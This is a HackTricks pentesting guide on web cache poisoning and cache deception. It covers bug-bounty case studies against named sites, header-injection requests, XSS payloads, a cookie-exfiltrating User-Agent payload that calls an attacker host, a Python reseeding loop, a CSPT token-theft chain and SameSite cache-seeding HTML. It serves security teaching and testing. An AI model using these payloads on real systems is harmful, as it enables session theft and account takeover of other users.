overview.md (33815B)
1 --- 2 title: "Cache Poisoning and Cache Deception" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/cache-deception/README.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/cache-deception/README.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: true 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Cache Poisoning and Cache Deception 14 15 ## The difference 16 17 > **What is the difference between web cache poisoning and web cache deception?** 18 > 19 > - In **web cache poisoning**, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users. 20 > - In **web cache deception**, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache. 21 22 ## Cache Poisoning 23 24 Web cache poisoning manipulates a shared cache into storing a harmful response that is later served to other users. Impact depends on the cache key, cache lifetime, affected route, and traffic reaching the poisoned entry.<sup>[[1]](#references)</sup> 25 26 The execution of a cache poisoning assault involves several steps: 27 28 1. **Identification of Unkeyed Inputs**: These are parameters that, although not required for a request to be cached, can alter the response returned by the server. Identifying these inputs is crucial as they can be exploited to manipulate the cache. 29 2. **Exploitation of the Unkeyed Inputs**: After identifying the unkeyed inputs, the next step involves figuring out how to misuse these parameters to modify the server's response in a way that benefits the attacker. 30 3. **Ensuring the Poisoned Response is Cached**: The final step is to ensure that the manipulated response is stored in the cache. This way, any user accessing the affected page while the cache is poisoned will receive the tainted response. 31 32 ### Discovery: Check HTTP headers 33 34 Usually, when a response was **stored in the cache** there will be a **header indicating so**, you can check which headers you should pay attention to in this post: [**HTTP Cache headers**](/hacktricks/network-services-pentesting/pentesting-web/special-http-headers#cache-headers). 35 36 ### Discovery: Caching error codes 37 38 If you are thinking that the response is being stored in a cache, you could try to **send requests with a bad header**, which should be responded to with a **status code 400**. Then try to access the request normally and if the **response is a 400 status code**, you know it's vulnerable (and you could even perform a DoS). 39 40 You can find more options in: 41 42 43 [Cache Poisoning To Dos](/hacktricks/pentesting-web/cache-deception/cache-poisoning-to-dos) 44 45 However, note that **sometimes these kinds of status codes aren't cached** so this test could not be reliable. 46 47 ### Discovery: Identify and evaluate unkeyed inputs 48 49 You could use [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) to **brute-force parameters and headers** that may be **changing the response of the page**. For example, a page may be using the header `X-Forwarded-For` to indicate the client to load the script from there: 50 51 ```html 52 <script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script> 53 ``` 54 55 ### Elicit a harmful response from the back-end server 56 57 With the parameter/header identified check how it is being **sanitised** and **where** is it **getting reflected** or affecting the response from the header. Can you abuse it anyway (perform an XSS or load a JS code controlled by you? perform a DoS?...) 58 59 ### Get the response cached 60 61 Once you have **identified** the **page** that can be abused, which **parameter**/**header** to use and **how** to **abuse** it, you need to get the page cached. Depending on the resource you are trying to get in the cache this could take some time, you might need to be trying for several seconds. 62 63 The header **`X-Cache`** in the response could be very useful as it may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached.\ 64 The header **`Cache-Control`** is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: `Cache-Control: public, max-age=1800` 65 66 Another interesting header is **`Vary`**. This header is often used to **indicate additional headers** that are treated as **part of the cache key** even if they are normally unkeyed. Therefore, if the user knows the `User-Agent` of the victim he is targeting, he can poison the cache for the users using that specific `User-Agent`. 67 68 One more header related to the cache is **`Age`**. It defines the times in seconds the object has been in the proxy cache. 69 70 When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **keyed** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working.<sup>[[1]](#references)</sup> 71 72 ### Foundational cache poisoning case studies 73 74 #### HackerOne global redirect via `X-Forwarded-Host` 75 76 - The origin templated redirects and canonical URLs with `X-Forwarded-Host`, but the cache key only used the `Host` header, so a single response poisoned every visitor to `/`. 77 - Poison with: 78 79 ```http 80 GET / HTTP/1.1 81 Host: hackerone.com 82 X-Forwarded-Host: evil.com 83 ``` 84 85 - Immediately re-request `/` without the spoofed header; if the redirect persists you have a global host-spoofing primitive that often upgrades reflected redirects/Open Graph links into stored issues.<sup>[[15]](#references)</sup> 86 87 #### GitHub repository DoS via `Content-Type` + `PURGE` 88 89 - Anonymous traffic was keyed only on path, while the backend entered an error state when it saw an unexpected `Content-Type`. That error response was cacheable for every unauthenticated user of a repo. 90 - GitHub also (accidentally) honored the `PURGE` verb, letting the attacker flush a healthy entry and force caches to pull the poisoned variant on demand: 91 92 ```bash 93 curl -H "Content-Type: invalid-value" https://github.com/user/repo 94 curl -X PURGE https://github.com/user/repo 95 ``` 96 97 - Always compare authenticated vs anonymous cache keys, fuzz rarely keyed headers such as `Content-Type`, and probe for exposed cache-maintenance verbs to automate re-poisoning.<sup>[[15]](#references)</sup> 98 99 #### Shopify cross-host persistence loops 100 101 - Multi-layer caches sometimes require multiple identical hits before committing a new object. Shopify reused the same cache across numerous localized hosts, so persistence meant impact on many properties. 102 - Use short automation loops to repeatedly reseed: 103 104 ```python 105 import requests, time 106 for i in range(100): 107 requests.get("https://shop.shopify.com/endpoint", 108 headers={"X-Forwarded-Host": "attacker.com"}) 109 time.sleep(0.1) 110 print("attacker.com" in requests.get("https://shop.shopify.com/endpoint").text) 111 ``` 112 113 - After a `hit` response, crawl other hosts/assets that share the same cache namespace to demonstrate cross-domain blast radius.<sup>[[15]](#references)</sup> 114 115 #### JS asset redirect → stored XSS chain 116 117 - Private programs often host shared JS such as `/assets/main.js` across dozens of subdomains. If `X-Forwarded-Host` influences redirect logic for those assets but is unkeyed, the cached response becomes a 301 to attacker JS, yielding stored XSS everywhere the asset is imported. 118 119 ```http 120 GET /assets/main.js HTTP/1.1 121 Host: target.com 122 X-Forwarded-Host: attacker.com 123 ``` 124 125 - Map which hosts reuse the same asset path so you can prove multi-subdomain compromise.<sup>[[15]](#references)</sup> 126 127 #### GitLab static DoS via `X-HTTP-Method-Override` 128 129 - GitLab served static bundles from Google Cloud Storage, which honors `X-HTTP-Method-Override`. Overriding GET to HEAD returned a cacheable `200 OK` with `Content-Length: 0`, and the edge cache ignored the HTTP method when generating the key. 130 131 ```http 132 GET /static/app.js HTTP/1.1 133 Host: gitlab.com 134 X-HTTP-Method-Override: HEAD 135 ``` 136 137 - A single request replaced the JS bundle with an empty body for every GET, effectively DoSing the UI. Always test method overrides (`X-HTTP-Method-Override`, `X-Method-Override`, etc.) against static assets and confirm whether the cache varies on method.<sup>[[15]](#references)</sup> 138 139 #### HackerOne static asset loop via `X-Forwarded-Scheme` 140 141 - Rails’ Rack middleware trusted `X-Forwarded-Scheme` to decide whether to enforce HTTPS. Spoofing `http` against `/static/logo.png` triggered a cacheable 301 so all users subsequently received redirects (or loops) instead of the asset: 142 143 ```http 144 GET /static/logo.png HTTP/1.1 145 Host: hackerone.com 146 X-Forwarded-Scheme: http 147 ``` 148 149 - Combine scheme spoofing with host spoofing when possible to craft irreversible redirects for highly visible resources.<sup>[[15]](#references)</sup> 150 151 #### Cloudflare host-header casing mismatch 152 153 - Cloudflare normalized the `Host` header for cache keys but forwarded the raw casing to origins. Sending `Host: TaRgEt.CoM` triggered alternate behavior in origin routing/templating while still populating the canonical lowercase cache bucket. 154 155 ```http 156 GET / HTTP/1.1 157 Host: TaRgEt.CoM 158 ``` 159 160 - Enumerate CDN tenants by replaying mixed-case hosts (and other normalized headers) and diff the cached response versus the origin response to uncover shared-platform cache poisonings.<sup>[[15]](#references)</sup> 161 162 #### Red Hat Open Graph meta poisoning 163 164 - Injecting `X-Forwarded-Host` inside Open Graph tags turned a reflected HTML injection into a stored XSS once the CDN cached the page. Use a harmless cache buster during testing to avoid harming production users: 165 166 ```http 167 GET /en?dontpoisoneveryone=1 HTTP/1.1 168 Host: www.redhat.com 169 X-Forwarded-Host: a."?><script>alert(1)</script> 170 ``` 171 172 - Social media scrapers consume cached Open Graph tags, so a single poisoned entry distributes the payload far beyond direct visitors.<sup>[[15]](#references)</sup> 173 174 ## Exploiting Examples 175 176 ### Easiest example 177 178 A header like `X-Forwarded-For` is being reflected in the response unsanitized.\ 179 You can send a basic XSS payload and poison the cache so everybody that accesses the page will be XSSed: 180 181 ```html 182 GET /en?region=uk HTTP/1.1 183 Host: innocent-website.com 184 X-Forwarded-Host: a."><script>alert(1)</script>" 185 ``` 186 187 _Note that this will poison a request to `/en?region=uk` not to `/en`_<sup>[[1]](#references)</sup> 188 189 ### Cache poisoning to DoS 190 191 192 [Cache Poisoning To Dos](/hacktricks/pentesting-web/cache-deception/cache-poisoning-to-dos) 193 194 ### Cache poisoning through CDNs 195 196 In **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** it's explained the following simple scenario:<sup>[[4]](#references)</sup> 197 198 - The CDN will cache anything under `/share/` 199 - The CDN will not decode or normalize `%2F..%2F`; therefore, it can be used as **path traversal to reach other sensitive locations that will be cached**, such as `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`. 200 - The web server WILL decode and normalize `%2F..%2F`, and will respond with `/api/auth/session`, which **contains the auth token**.<sup>[[4]](#references)</sup> 201 202 ### Using web cache poisoning to exploit cookie-handling vulnerabilities 203 204 Cookies could also be reflected on the response of a page. If you can abuse it to cause a XSS for example, you could be able to exploit XSS in several clients that load the malicious cache response. 205 206 ```html 207 GET / HTTP/1.1 208 Host: vulnerable.com 209 Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" 210 ``` 211 212 Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache.<sup>[[2]](#references)</sup> 213 214 ### Generating discrepancies with delimiters, normalization and dots <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a> 215 216 Check: 217 218 219 [Cache Poisoning Via Url Discrepancies](/hacktricks/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies) 220 221 ### Cache poisoning with path traversal to steal API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a> 222 223 [**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) how it was possible to steal an OpenAI API key with an URL like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` because anything matching `/share/*` will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.<sup>[[4]](#references)</sup> 224 225 This is also explained better in: 226 227 228 [Cache Poisoning Via Url Discrepancies](/hacktricks/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies) 229 230 ### Using multiple headers to exploit web cache poisoning vulnerabilities <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a> 231 232 Sometimes you will need to **exploit several unkeyed inputs** to be able to abuse a cache. For example, you may find an **Open redirect** if you set `X-Forwarded-Host` to a domain controlled by you and `X-Forwarded-Scheme` to `http`.**If** the **server** is **forwarding** all the **HTTP** requests **to HTTPS** and using the header `X-Forwarded-Scheme` as the domain name for the redirect. You can control where the page is pointed by the redirect.<sup>[[7]](#references)</sup> 233 234 ```html 235 GET /resources/js/tracking.js HTTP/1.1 236 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net 237 X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/ 238 X-Forwarded-Scheme: http 239 ``` 240 241 ### Exploiting with a limited `Vary` header 242 243 If you found that the **`X-Host`** header is being used as **domain name to load a JS resource** but the **`Vary`** header in the response is indicating **`User-Agent`**. Then, you need to find a way to exfiltrate the User-Agent of the victim and poison the cache using that user agent: 244 245 ```html 246 GET / HTTP/1.1 247 Host: vulnerable.net 248 User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM 249 X-Host: attacker.com 250 ``` 251 252 ### Fat Get 253 254 Send a GET request with the request in the URL and in the body. If the web server uses the one from the body but the cache server caches the one from the URL, anyone accessing that URL will actually use the parameter from the body. Like the vuln James Kettle found at the Github website: 255 256 ```text 257 GET /contact/report-abuse?report=albinowax HTTP/1.1 258 Host: github.com 259 Content-Type: application/x-www-form-urlencoded 260 Content-Length: 22 261 262 report=innocent-victim 263 ``` 264 265 Practice this behavior in PortSwigger's **Web cache poisoning via a fat GET request** lab.<sup>[[18]](#references)</sup> 266 267 ### Parameter Cloaking 268 269 For example it's possible to separate **parameters** in ruby servers using the char **`;`** instead of **`&`**. This could be used to put unkeyed parameters values inside keyed ones and abuse them. 270 271 Practice this behavior in PortSwigger's **Web cache poisoning via parameter cloaking** lab.<sup>[[19]](#references)</sup> 272 273 ### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling 274 275 Learn here about how to perform [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning). 276 277 ### Automated testing for Web Cache Poisoning 278 279 The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) can be used to automatically test for web cache poisoning. It supports many different techniques and is highly customizable. 280 281 Example usage: `wcvs -u example.com` 282 283 ### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js) 284 285 This real-world pattern chains a header-based reflection primitive with CDN/WAF behavior to reliably poison the cached HTML served to other users: 286 287 - The main HTML reflected an untrusted request header (e.g., `User-Agent`) into executable context. 288 - The CDN stripped cache headers but an internal/origin cache existed. The CDN also auto-cached requests ending in static extensions (e.g., `.js`), while the WAF applied weaker content inspection to GETs for static assets. 289 - Request flow quirks allowed a request to a `.js` path to influence the cache key/variant used for the subsequent main HTML, enabling cross-user XSS via header reflection.<sup>[[8]](#references)</sup> 290 291 Practical recipe (observed across a popular CDN/WAF): 292 293 1) From a clean IP (avoid prior reputation-based downgrades), set a malicious `User-Agent` via browser or Burp Proxy Match & Replace.<sup>[[9]](#references)</sup> 294 2) In Burp Repeater, prepare a group of two requests and use "Send group in parallel" (single-packet mode works best): 295 - First request: GET a `.js` resource path on the same origin while sending your malicious `User-Agent`. 296 - Immediately after: GET the main page (`/`). 297 3) The CDN/WAF routing race plus the auto-cached `.js` often seeds a poisoned cached HTML variant that is then served to other visitors sharing the same cache key conditions (e.g., same `Vary` dimensions like `User-Agent`). 298 299 Example header payload (to exfiltrate non-HttpOnly cookies): 300 301 ```http 302 User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>" 303 ``` 304 305 Operational tips: 306 307 - Many CDNs hide cache headers; poisoning may appear only on multi-hour refresh cycles. Use multiple vantage IPs and throttle to avoid rate-limit or reputation triggers. 308 - Using an IP from the CDN's own cloud sometimes improves routing consistency. 309 - If a strict CSP is present, this still works if the reflection executes in main HTML context and CSP allows inline execution or is bypassed by context. 310 311 Impact: 312 313 - If session cookies aren’t `HttpOnly`, zero-click ATO is possible by mass-exfiltrating `document.cookie` from all users who are served the poisoned HTML. 314 315 316 ### Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection) 317 318 A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the `Sitecore.Shell.Xaml.WebControl` handler is reached, an `xmlcontrol:GlobalHeader` (derived from `Sitecore.Web.UI.WebControl`) is available and the following reflective call is allowed: 319 320 ```http 321 POST /-/xaml/Sitecore.Shell.Xaml.WebControl 322 Content-Type: application/x-www-form-urlencoded 323 324 __PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1 325 ``` 326 327 This writes arbitrary HTML under an attacker‑chosen cache key, enabling precise poisoning once cache keys are known.<sup>[[10]](#references)</sup> 328 329 For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE): 330 331 [Readme](/hacktricks/network-services-pentesting/pentesting-web/sitecore/overview) 332 333 ## Vulnerable Examples 334 335 ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) 336 337 ATS forwarded the fragment inside the URL without stripping it and generated the cache key only using the host, path and query (ignoring the fragment). So the request `/#/../?r=javascript:alert(1)` was sent to the backend as `/#/../?r=javascript:alert(1)` and the cache key didn't have the payload inside of it, only host, path and query.<sup>[[5]](#references)</sup> 338 339 ### 403 and Storage Buckets 340 341 Cloudflare previously cached 403 responses. Attempting to access S3 or Azure Storage Blobs with incorrect Authorization headers would result in a 403 response that got cached. Although Cloudflare has stopped caching 403 responses, this behavior might still be present in other proxy services.<sup>[[5]](#references)</sup> 342 343 ### Injecting Keyed Parameters 344 345 Caches often include specific GET parameters in the cache key. For instance, Fastly's Varnish cached the `size` parameter in requests. However, if a URL-encoded version of the parameter (e.g., `siz%65`) was also sent with an erroneous value, the cache key would be constructed using the correct `size` parameter. Yet, the backend would process the value in the URL-encoded parameter. URL-encoding the second `size` parameter led to its omission by the cache but its utilization by the backend. Assigning a value of 0 to this parameter resulted in a cacheable 400 Bad Request error.<sup>[[5]](#references)</sup> 346 347 ### User Agent Rules 348 349 Some developers block requests with user-agents matching those of high-traffic tools like FFUF or Nuclei to manage server load. Ironically, this approach can introduce vulnerabilities such as cache poisoning and DoS.<sup>[[5]](#references)</sup> 350 351 ### Illegal Header Fields 352 353 HTTP field names use the `token` grammar. Headers containing characters outside that grammar should be rejected, but intermediaries and origins do not always parse them consistently. One disclosed Akamai behavior forwarded invalid header names and cached a resulting `400` response when `Cache-Control` was absent; a header containing an illegal character such as `\` could therefore produce a cacheable error.<sup>[[5]](#references)</sup><sup>[[17]](#references)</sup> 354 355 ### Finding new headers 356 357 [https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6) 358 359 ## Cache Deception 360 361 The goal of Cache Deception is to make clients **load resources that are going to be saved by the cache with their sensitive information**.<sup>[[14]](#references)</sup> 362 363 First of all note that **extensions** such as `.css`, `.js`, `.png` etc are usually **configured** to be **saved** in the **cache.** Therefore, if you access `www.example.com/profile.php/nonexistent.js` the cache will probably store the response because it sees the `.js` **extension**. But, if the **application** is **replaying** with the **sensitive** user contents stored in _www.example.com/profile.php_, you can **steal** those contents from other users. 364 365 Other things to test: 366 367 - _www.example.com/profile.php/.js_ 368 - _www.example.com/profile.php/.css_ 369 - _www.example.com/profile.php/test.js_ 370 - _www.example.com/profile.php/../test.js_ 371 - _www.example.com/profile.php/%2e%2e/test.js_ 372 - _Use lesser known extensions such as_ `.avif`<sup>[[6]](#references)</sup> 373 374 Another very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).<sup>[[3]](#references)</sup>\ 375 In the example, it is explained that if you load a non-existent page like _http://www.example.com/home.php/non-existent.css_ the content of _http://www.example.com/home.php_ (**with the user's sensitive information**) is going to be returned and the cache server is going to save the result.\ 376 Then, the **attacker** can access _http://www.example.com/home.php/non-existent.css_ in their own browser and observe the **confidential information** of the users that accessed before.<sup>[[3]](#references)</sup> 377 378 Note that the **cache proxy** should be **configured** to **cache** files **based** on the **extension** of the file (_.css_) and not base on the content-type. In the example _http://www.example.com/home.php/non-existent.css_ will have a `text/html` content-type instead of a `text/css` mime type.<sup>[[3]](#references)</sup> 379 380 Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception). 381 382 ### CSPT-assisted authenticated cache poisoning (Account Takeover) 383 384 This pattern combines a Client-Side Path Traversal (CSPT) primitive in a Single-Page App (SPA) with extension-based CDN caching to publicly cache sensitive JSON that was originally only available via an authenticated API call. 385 386 High level idea: 387 388 - A sensitive API endpoint requires a custom auth header and is correctly marked as non-cacheable by origin. 389 - Appending a static-looking suffix (for example, .css) makes the CDN treat the path as a static asset and cache the response, often without varying on sensitive headers. 390 - The SPA contains CSPT: it concatenates a user-controlled path segment into the API URL while attaching the victim’s auth header (for example, X-Auth-Token). By injecting ../.. traversal, the authenticated fetch is redirected to the cacheable path variant (…/v1/token.css), causing the CDN to cache the victim’s token JSON under a public key. 391 - Anyone can then `GET` that same cache key without authentication and retrieve the victim's token.<sup>[[11]](#references)</sup><sup>[[12]](#references)</sup><sup>[[13]](#references)</sup> 392 393 Example 394 395 - Sensitive endpoint (non-cacheable at origin): 396 397 ```text 398 GET /v1/token HTTP/1.1 399 Host: api.example.com 400 X-Auth-Token: <REDACTED> 401 Accept: application/json 402 403 HTTP/1.1 200 OK 404 Content-Type: application/json 405 Cache-Control: no-cache, no-store, must-revalidate 406 X-Cache: Miss from cdn 407 408 {"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."} 409 ``` 410 411 - Static-looking suffix flips CDN to cacheable: 412 413 ```text 414 GET /v1/token.css HTTP/1.1 415 Host: api.example.com 416 X-Auth-Token: <REDACTED> 417 Accept: application/json 418 419 HTTP/1.1 200 OK 420 Content-Type: application/json 421 Cache-Control: max-age=86400, public 422 X-Cache: Hit from cdn 423 424 {"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."} 425 ``` 426 427 - CSPT in SPA attaches auth header and allows traversal: 428 429 ```javascript 430 const urlParams = new URLSearchParams(window.location.search); 431 const userId = urlParams.get('userId'); 432 433 const apiUrl = `https://api.example.com/v1/users/info/${userId}`; 434 435 fetch(apiUrl, { 436 method: 'GET', 437 headers: { 'X-Auth-Token': authToken } 438 }); 439 ``` 440 441 - Exploit chain: 442 1. Lure victim to a URL that injects dot-segments into the SPA path parameter, e.g.: 443 - [https://example.com/user?userId=../../../v1/token.css](https://example.com/user?userId=../../../v1/token.css) 444 2. The SPA issues an authenticated fetch to: 445 - [https://api.example.com/v1/users/info/../../../v1/token.css](https://api.example.com/v1/users/info/../../../v1/token.css) 446 3. Browser normalization resolves it to: 447 - [https://api.example.com/v1/token.css](https://api.example.com/v1/token.css) 448 4. The CDN treats .css as a static asset and caches the JSON with Cache-Control: public, max-age=... 449 5. Public retrieval: anyone can then GET https://api.example.com/v1/token.css and obtain the cached token JSON. 450 451 Preconditions 452 453 - SPA performs authenticated fetch/XHR to the same API origin (or cross-origin with working CORS) and attaches sensitive headers or bearer tokens. 454 - Edge/CDN applies extension-based caching for static-looking paths (e.g., *.css, *.js, images) and does not vary the cache key on the sensitive header. 455 - Origin for the base endpoint is non-cacheable (correct), but the extension-suffixed variant is allowed or not blocked by edge rules. 456 457 Validation checklist 458 459 - Identify sensitive dynamic endpoints and try suffixes like .css, .js, .jpg, .json. Look for Cache-Control: public/max-age and X-Cache: Hit (or equivalent, e.g., CF-Cache-Status) while content remains JSON. 460 - Locate client code that concatenates user-controlled input into API paths while attaching auth headers. Inject ../ sequences to redirect the authenticated request to your target endpoint. 461 - Confirm the authenticated header is present on the retargeted request (e.g., in a proxy or via server-side logs) and that the CDN caches the response under the traversed path. 462 - From a fresh context (no auth), request the same path and confirm the secret JSON is served from cache. 463 464 465 ### Authenticated HTML cache entries targeted with query cache busters 466 467 Not every WCD requires path confusion or static extensions. A very common variant is: **authenticated HTML response + shared cacheability + attacker-controlled cache key + user-specific secret in the body**.<sup>[[16]](#references)</sup> 468 469 Typical indicators: 470 471 - The authenticated page returns **`X-Cache: MISS`** on first load and **`X-Cache: HIT`** when replayed. 472 - **`Cache-Control`** allows shared caching (for example, it lacks **`private`** / **`no-store`**). 473 - The HTML source contains **victim-specific data** such as JWTs, CSRF tokens, email addresses, account settings, or bootstrapped session objects inside inline JavaScript. 474 475 Minimal validation flow: 476 477 1. Authenticate and request a page that should be user-specific (homepages are still interesting if they bootstrap session state). 478 2. Replay the exact request in Burp Repeater. 479 3. Compare **`X-Cache`**, **`Age`**, and **`Cache-Control`**. 480 4. Inspect the cached body, not just the headers: if secrets are embedded in the HTML/JS, another user hitting the same cache key may receive them. 481 482 If many users constantly overwrite the shared entry, add an **attacker-chosen query parameter** to isolate the cache key: 483 484 ```http 485 GET /?cacheBuster=1 HTTP/1.1 486 Host: target.com 487 Cookie: session=<victim-session> 488 ``` 489 490 If the cache keys on the full URL, forcing the victim to visit that exact URL stores their authenticated response under a predictable entry that the attacker can later request anonymously. This is especially useful on homepages that are globally cacheable but still inject per-user state into the DOM. 491 492 ### SameSite=Lax delivery constraints in WCD campaigns 493 494 When the victim must seed the cache from an attacker-controlled site, remember that **default `SameSite=Lax` cookies are usually not sent on cross-site subresource requests** such as **`<img>`**, **`<script>`**, or XHR/fetch.<sup>[[16]](#references)</sup> Therefore, a payload like the following often primes the cache with an **unauthenticated** response only: 495 496 ```html 497 <img src="https://target.com/?cacheBuster=1"> 498 ``` 499 500 To seed the cache with the victim's authenticated HTML, use a **top-level navigation** primitive instead, because `SameSite=Lax` still allows cookies on cross-site navigations such as links and many GET redirects: 501 502 ```html 503 <meta http-equiv="refresh" content="0; url=https://target.com/?cacheBuster=1"> 504 <p>If not redirected, <a href="https://target.com/?cacheBuster=1">open target</a>.</p> 505 ``` 506 507 Practical checklist: 508 509 - First confirm that the **subresource** version does **not** include cookies. 510 - Then switch to a **top-level navigation** and verify that the cacheable response now contains victim-only data. 511 - Re-request the exact cache-buster URL from a clean context and confirm the secret is returned from cache. 512 513 This turns a noisy, random WCD into a **targeted account-takeover primitive** whenever the cached HTML exposes reusable session material. 514 515 ## Automatic Tools 516 517 - [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques. 518 - [**CacheDecepHound**](https://github.com/g4nkd/CacheDecepHound): Python scanner designed to detect Cache Deception vulnerabilities in web servers. 519 520 ## References 521 522 - [1] [PortSwigger: Web cache poisoning](https://portswigger.net/web-security/web-cache-poisoning) 523 - [2] [PortSwigger: Web cache poisoning – exploiting cookie-handling vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities) 524 - [3] [HackerOne report #593712 – Web Cache Deception](https://hackerone.com/reports/593712) 525 - [4] [ChatGPT Account Takeover via cache poisoning and path traversal](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) 526 - [5] [Cache Poisoning at Scale](https://youst.in/posts/cache-poisoning-at-scale/) 527 - [6] [How I test for web cache vulnerabilities: tips and tricks](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9) 528 - [7] [How I hacked all Zendesk sites (265000+ sites) with one line](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/) 529 - [8] [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/) 530 - [9] [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace) 531 - [10] [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/) 532 - [11] [Cache Deception + CSPT: Turning Non Impactful Findings into Account Takeover](https://zere.es/posts/cache-deception-cspt-account-takeover/) 533 - [12] [CSPT overview by Matan Berson](https://matanber.com/blog/cspt-levels/) 534 - [13] [CSPT presentation by Maxence Schmitt](https://www.youtube.com/watch?v=O1ZN_OCfNzg) 535 - [14] [PortSwigger: Web Cache Deception](https://portswigger.net/web-security/web-cache-deception) 536 - [15] [Cache Poisoning Case Studies Part 1: Foundational Attacks Behind a $100K+ Vulnerability Class](https://herish.me/blog/cache-poisoning-case-studies-part-1-foundational-attacks/) 537 - [16] [Cracking SameSite for a $2,000 Web Cache Deception](https://medium.com/@tinopreter/cracking-samesite-for-a-2-000-web-cache-deception-746972278412) 538 - [17] [RFC 9110: Field Names](https://www.rfc-editor.org/rfc/rfc9110.html#name-field-names) 539 - [18] [PortSwigger lab: Web cache poisoning via a fat GET request](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get) 540 - [19] [PortSwigger lab: Web cache poisoning via parameter cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)